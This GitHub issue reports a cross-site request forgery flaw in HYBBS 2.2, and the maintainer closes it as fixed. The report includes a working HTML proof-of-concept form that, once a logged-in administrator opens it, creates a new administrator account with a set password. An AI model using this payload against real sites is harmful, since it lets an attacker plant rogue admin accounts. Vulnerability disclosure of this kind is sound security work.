Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CSRF vulnerability which can add the administrator account #3

Closed
cnfreiheit opened this issue Mar 29, 2019 · 1 comment
Closed

CSRF vulnerability which can add the administrator account #3

cnfreiheit opened this issue Mar 29, 2019 · 1 comment

Comments

@cnfreiheit
Copy link

cnfreiheit commented Mar 29, 2019

When the administrator logged in, open the page with poc , it can add the administrator account.
Here, my test site's url is http://localhost/HYBBS2.2 .

poc:
html code below:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/HYBBS2.2/?admin/user.html" method="POST">
      <input type="hidden" name="gn" value="2" />
      <input type="hidden" name="user" value="admin2" />
      <input type="hidden" name="group" value="1" />
      <input type="hidden" name="email" value="xx&#64;126&#46;com" />
      <input type="hidden" name="pass" value="admin123" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

image

@hyyyp
Copy link
Owner

hyyyp commented Apr 18, 2019

already fixed

@hyyyp hyyyp closed this as completed Apr 18, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants